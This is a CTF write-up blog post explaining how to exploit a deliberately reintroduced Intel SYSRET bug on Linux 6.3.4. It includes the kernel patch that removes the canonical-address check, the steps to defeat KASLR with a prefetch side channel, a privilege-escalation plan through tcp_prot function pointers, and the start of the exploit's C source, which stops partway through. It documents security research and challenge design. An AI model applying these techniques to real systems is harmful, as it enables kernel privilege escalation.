tag:blogger.com,1999:blog-88141479655261949822024-03-14T07:13:14.551-07:00Will's RootPentesting, CTFs, and WriteupsUnknownnoreply@blogger.comBlogger47125tag:blogger.com,1999:blog-8814147965526194982.post-79060620958553039882023-08-02T17:36:00.005-07:002023-08-03T10:00:50.692-07:00corCTF 2023 sysruption - Exploiting Sysret on Linux in 2023<p>Sysruption was a hardware, micro-architectural, and kernel
exploitation challenge I wrote for corCTF 2023. It is my personal
favorite challenge for this CTF as it tied closely into my first µarch
CVE (EntryBleed), showcased the applicability of a µarch attack in a
realistic exploit, and was built on the premise of a real hardware bug.</p><p>This bug has re-appeared multiple times throughout the years,
manifesting first in <a href="https://github.com/torvalds/linux/commit/7bf36bbc5e0c09271f9efe22162f8cc3f8ebd3d2" target="_blank">CVE-2006-0744</a>. It subsequently returns to haunt systems in <a href="https://nvd.nist.gov/vuln/detail/cve-2012-0217" target="_blank">CVE-2012-0217</a>,
affecting FreeBSD, Xen hypervisor, Solaris, Windows 7, and many other
operating systems - people have documented their exploits for different
OSes such as this <a href="https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/" target="_blank">one</a> for FreeBSD and this <a href="https://xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/" target="_blank">one</a> for Xen hypervisor. To my knowledge, the last publicly known time this bug came back again was in <a href="https://duasynt.com/blog/cve-2014-4699-linux-kernel-ptrace-sysret-analysis" target="_blank">CVE-2014-4699</a>
on Linux. Since 2014 was before the era of all the modern kernel
mitigations like KASLR and the previous writeup targeted it on a system
without SMAP and with a writeable IDTs, the premise of this challenge
became exploiting this on a modern Linux system with standard hardening
features. Before I continue, a huge shout out must go to zolutal for
first-blooding this challenge - he has a really <a href="https://zolutal.github.io/corctf-sysruption/" target="_blank">amazing writeup</a> for it!</p>
<p>I first heard about this bug in MIT’s <a href="http://csg.csail.mit.edu/6.S983/" target="_blank">6.888</a>
Secure Hardware Design Course, which also taught me about the prefetch
attack that inspired EntryBleed through their lab assignments (along
with other cool labs like Spectre, Rowhammer, L2 prime and probe, and RISC-V CPU fuzzing). So what exactly is this sysret
bug?</p>
<p>According to Intel, this is <a href="https://www.kb.cert.org/vuls/id/649219" target="_blank">not a bug</a> (but a feature?) - it’s the software developer’s fault for not
carefully reading the documentation. To quote the SDM:</p><p>SYSRET is a
companion instruction to the SYSCALL instruction. It returns from an OS
system-call handler to user code at privilege level 3. It does so by
loading RIP from RCX and loading RFLAGS from R11. With a 64-bit operand
size, SYSRET remains in 64-bit mode; otherwise, it enters compatibility
mode and only the low 32 bits of the registers are loaded.</p><p>As the
documentation then proceeds to state, if the RCX address is
non-canonical, then a general protection fault happens in ring 0, so the
exception handler in ring 0 runs. In contrast, AMD has the fault
happen in userland (which would then crash the process in ring 3). By
having a general protection fault happen in a syscall return sequence
where all the userland registers have been restored (including the stack
pointer) at ring 0, the exception handler will happily start saving the
current CPU state with the restored stack pointer, effectively giving us
an arbitrary write vulnerability using the pre-exception register state.</p>
<p>To bring back this bug, I made the following patch, on kernel 6.3.4. </p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span class="hljs-comment" style="color: #6a737d;">--- orig_entry_64.S</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">+++ linux-6.3.4/arch/x86/entry/entry_64.S</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-meta" style="color: #005cc5;">@@ -150,13 +150,13 @@</span><span style="background-color: whitesmoke; color: #24292e;">
ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \
"shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57
#else
</span><span class="hljs-deletion" style="background-color: #ffeef0; color: #b31d28;">- shl $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-deletion" style="background-color: #ffeef0; color: #b31d28;">- sar $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ # shl $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ # sar $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx</span><span style="background-color: whitesmoke; color: #24292e;">
#endif
/* If this changed %rcx, it was not canonical */
</span><span class="hljs-deletion" style="background-color: #ffeef0; color: #b31d28;">- cmpq %rcx, %r11</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-deletion" style="background-color: #ffeef0; color: #b31d28;">- jne swapgs_restore_regs_and_return_to_usermode</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ # cmpq %rcx, %r11</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ # jne swapgs_restore_regs_and_return_to_usermode</span><span style="background-color: whitesmoke; color: #24292e;">
cmpq $__USER_CS, CS(%rsp) /* CS must match SYSRET */
jne swapgs_restore_regs_and_return_to_usermode</span></span></p><p>This effectively reverts a precise check for non-canonical addresses introduced by this <a href="https://lore.kernel.org/lkml/CALCETrUQtHLLEHqq=PJdf7QDUP_RjbS2szKgHa210+VMgotsPg@mail.gmail.com/T/#mb45968216839a3cff3686685068ef0deb647db26" target="_blank">patch</a>.</p><p>How exactly do we trigger this bug? The 2014 CVE <a href="https://github.com/vnik5287/cve-2014-4699-ptrace/blob/master/poc_v0.c" target="_blank">PoC</a>
is still applicable in this case, and I borrowed that with a few slight
modifications. The PoC basically chained ptrace and forks in a way to
modify the registers such that the grandchild task attempts to return to
a non-canonical address upon sysret. A canonical address is simply one
where bit 63 to whatever the highest bit supported by the chipset is all
1s or 0s (hence the <code>shl</code> and <code>sar</code> usage in the original check). I was actually surprised that this still worked, as Linux introduced a <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b9cd18de4db3c9ffa7e17b0dc0ca99ed5aa4d43a" target="_blank">patch</a> to force irets for this chain of ptrace usage. Fortunately for us, this was actually removed in a subsequent <a href="https://lore.kernel.org/all/CAMzpN2i+DrKkzDyiS6Cj61LmCu+--e5puQpKrNxYVMDRPMvvBw@mail.gmail.com/T/#t" target="_blank">patch</a> once the stronger check before sysret was introduced.</p><p>Unlike the 2014 PoC, the Linux kernel now comes with KASLR. This is
where the second main component of my challenge comes in - a
micro-architectural (or µarch) attack. In my opinion, µarch attacks are often
overlooked in developing exploits when talking to some people working in
the VR industry. Since Spectre and Meltdown, a flurry of new research
for similar attacks started in academia, many of which are really fascinating
attacks and reveal just how crazy modern hardware is. While some worked
pretty well and would definitely be applicable in the real world, there
are also many that really only work in pristine
noiseless lab conditions on specific system configurations, topped off with an
extremely low side-channel leakage rates. Perhaps it’s these latter
attacks that cause real world exploit developers to often shrug off this
vector of attack. </p><p>As documented in my <a href="https://www.willsroot.io/2022/12/entrybleed.html" target="_blank">EntryBleed attack</a> against KPTI, and ProjectZero’s <a href="https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html" target="_blank">writeup</a> for CVE-2022-42703, the <a href="https://gruss.cc/files/prefetch.pdf" target="_blank">prefetch µarch attack</a>
from Daniel Gruss is one of those attacks that are extremely fast and
accurate at leaking something sensitive (in this case, KASLR). Please
refer to those links for more information regarding how the attack
works.</p><p>Note that the kernel is running without KPTI so you can also reliably
leak other sections of kernel memory asides from text and data (a
limitation of EntryBleed). This isn’t me making the challenge easier
though - when the Linux kernel detects that a CPU is hardware mitigated
against Meltdown, KPTI is not <a href="https://elixir.bootlin.com/linux/v6.3.4/source/arch/x86/mm/pti.c#L118" target="_blank">enabled by default</a>.
This is certainly a strange choice (though probably for the sake of performance), as Meltdown is not the only type of µarch
attack that can break KASLR based on the shared page-table scheme.
Regardless, this is perfect for this challenge as I ran it on a
dedicated Cascade Lake server, so KPTI would be disabled by default.</p><p>The exploitation strategy from here should be to use a prefetch
attack to leak the kernel base address, and then choose a target to
overwrite in writeable kernel image sections. But an immediate issue
that arises is that when executing <code>sysret</code>, the kernel is now using a userland GS register due to the preceeding <a href="https://elixir.bootlin.com/linux/v6.3.4/source/arch/x86/entry/entry_64.S#L225" target="_blank"><code>swapgs</code> instruction</a>.
The GS register is vital to per cpu data referencing in the kernel - in
fact, when the GPF executes with an invalid gs register, it repeatedly
page faults until the system gives up and panics. This is because there
are attempts made to access memory offsets from the GS register in these
handlers. The exception handler in <code>error_entry</code> will only manually switch to a kernel gs if the exception source was from <a href="https://elixir.bootlin.com/linux/v6.3.4/source/arch/x86/entry/entry_64.S" target="_blank">userland</a>. </p><p>Like Zolutal, I first attempted to control the userland GS register with <code>prctl</code>, but the kernel checks that it is in <a href="https://elixir.bootlin.com/linux/v6.3.4/source/arch/x86/kernel/process_64.c#L751" target="_blank">userland address range</a>.
There also really isn’t way for me to find something in kernel data or
text to act as a fake gsbase either. Luckily, x86_64 has had the <a href="https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/best-practices/guidance-enabling-fsgsbase.html" target="_blank">fsgsbase extension</a> for a while now, which “allows applications to directly write to the FS and GS segment registers.” </p><p>Now we need to leak gsbase. It’s in physmap at a constant offset (I
believe that the first percpu chunk always piggy backs off of the linear
direct physical mapping according to <a href="https://elixir.bootlin.com/linux/v6.3.4/source/mm/percpu.c#L3055" target="_blank">comments</a>,
so the offset would be RAM dependent?). In my exploit, I leaked physmap
base by side-channeling the possible range of physmap addresses
according to <a href="https://www.kernel.org/doc/Documentation/x86/x86_64/mm.txt" target="_blank">Linux documentation</a>,
and applying a mask to the first leaked address before adding the
correct offset to gsbase. This approximation has never failed for me
yet.</p><p>Looking back on the output of my side-channel, I didn’t even need to
leak physmap to get cpu 0’s gsbase. As this address comes after the
linear direct physical mapping and is frequently used, it would likely
always be the last address that falls into the physmap range to be
side-channeled out of the TLB via a prefetch attack as this is a
one-core system. Of course this would mean that the increment for
virtual addresses in the side-channel have to align with this gsbase
address, which mine did.</p><p>With all the leaks now, I presumed that exploitation would have been trivial, and first went for common targets like <code>modprobe_path</code>.
Unfortunately, the exception handler seemed to really trash up the
stack, writing around 0x860 bytes of data based on my debugging when I
had it target the CEA region. This causes a lot of important things to
be overwritten, and leaves the kernel in a highly unstable state that
usually results in a panic quite quickly. Zolutal actually managed to
get this working, and he discusses how he achieves this in his writeup. </p><p>What ended up working for me were function pointers in <code>tcp_prot</code>, a technique borrowed from an exploit for <a href="https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/" target="_blank">CVE-2022-29582</a>. <code>setsockopt</code>
then provided me enough register control to stack pivot to another ROP
chain (which I wrote ahead of time into an offset from kernel gsbase in a
previous trigger of the sysret bug) and escalate privileges to root.</p><p>Originally, I enabled <code>oops=panic</code> and aimed to have players disable that setting in the first iteration of the <code>sysret</code>
bug to continue exploitation as the general protection fault would lead
to an oops. I wasn’t able to achieve it due to how the GPF handler
trashed the stack, but if Zolutal managed to get <code>modprobe_path</code> overwrite working, then this might be feasible too.</p><p>
</p><p>The following is my exploit and its successful exploitation of the challenge:</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> _GNU_SOURCE</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><stdio.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><stdlib.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><stdint.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><stdbool.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><sched.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><fcntl.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><assert.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><unistd.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><errno.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><sys/ptrace.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><sys/types.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><sys/wait.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><sys/syscall.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><sys/user.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><sys/mman.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><sys/socket.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><netinet/in.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><netinet/tcp.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">pfail</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">char</span> *str)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
perror(str);
_exit(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">assign_to_core</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">int</span> core_id)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">cpu_set_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> mask;
CPU_ZERO(&mask);
CPU_SET(core_id, &mask);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (sched_setaffinity(getpid(), </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(mask), &mask) < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
pfail(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"sched_setaffinity"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">sidechannel</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">uint64_t</span> addr)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> {
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> a, b, c, d;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">asm</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">volatile</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-string" style="color: #a31515;">".intel_syntax noprefix;"</span>
<span class="hljs-string" style="color: #a31515;">"mfence;"</span>
<span class="hljs-string" style="color: #a31515;">"rdtscp;"</span>
<span class="hljs-string" style="color: #a31515;">"mov %0, rax;"</span>
<span class="hljs-string" style="color: #a31515;">"mov %1, rdx;"</span>
<span class="hljs-string" style="color: #a31515;">"xor rax, rax;"</span>
<span class="hljs-string" style="color: #a31515;">"lfence;"</span>
<span class="hljs-string" style="color: #a31515;">"prefetchnta qword ptr [%4];"</span>
<span class="hljs-string" style="color: #a31515;">"prefetcht2 qword ptr [%4];"</span>
<span class="hljs-string" style="color: #a31515;">"xor rax, rax;"</span>
<span class="hljs-string" style="color: #a31515;">"lfence;"</span>
<span class="hljs-string" style="color: #a31515;">"rdtscp;"</span>
<span class="hljs-string" style="color: #a31515;">"mov %2, rax;"</span>
<span class="hljs-string" style="color: #a31515;">"mov %3, rdx;"</span>
<span class="hljs-string" style="color: #a31515;">"mfence;"</span>
<span class="hljs-string" style="color: #a31515;">".att_syntax;"</span>
: <span class="hljs-string" style="color: #a31515;">"=r"</span> (a), <span class="hljs-string" style="color: #a31515;">"=r"</span> (b), <span class="hljs-string" style="color: #a31515;">"=r"</span> (c), <span class="hljs-string" style="color: #a31515;">"=r"</span> (d)
: <span class="hljs-string" style="color: #a31515;">"r"</span> (addr)
: <span class="hljs-string" style="color: #a31515;">"rax"</span>, <span class="hljs-string" style="color: #a31515;">"rbx"</span>, <span class="hljs-string" style="color: #a31515;">"rcx"</span>, <span class="hljs-string" style="color: #a31515;">"rdx"</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
a = (b << </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">32</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) | a;
c = (d << </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">32</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) | c;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> c - a;
}
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// #define ITERATIONS 1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// this needs to be fine tuned to work best for the gsbase and kbase leak</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> THRESHOLD 50</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// 8 gb more than enough</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> POTENTIAL_END (8ull << 30)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> threshold = THRESHOLD;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">prefetch_leak</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">uint64_t</span> scan_start, <span class="hljs-type" style="color: #a31515;">uint64_t</span> scan_end, <span class="hljs-type" style="color: #a31515;">uint64_t</span> step)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> size = (scan_end - scan_start) / step;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *data = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">calloc</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(size, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">));
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> min = ~</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, addr = ~</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, potential_end = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">do</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">bool</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">set</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> = </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">false</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> idx = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; idx < size; idx++)
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> test_addr = scan_start + idx * step;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (potential_end && test_addr > potential_end)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">break</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
syscall(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">104</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> time = sidechannel(test_addr);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (time < threshold)
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">printf</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"%llx %ld\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, (scan_start + idx * step), time);
data[idx]++;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (!potential_end)
potential_end = test_addr + POTENTIAL_END;
}
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < size; i++)
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (!</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">set</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> && data[i] >= </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
addr = scan_start + i * step;
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">set</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> = </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">true</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
}
} </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">while</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (addr == ~</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">free</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(data);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> addr;
}
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> KERNEL_STEP 0x200000ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> KERNEL_BOTTOM 0xffffffff80000000ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> KERNEL_TOP 0xffffffffc0000000ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> PHYSMAP_STEP 0x200000ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
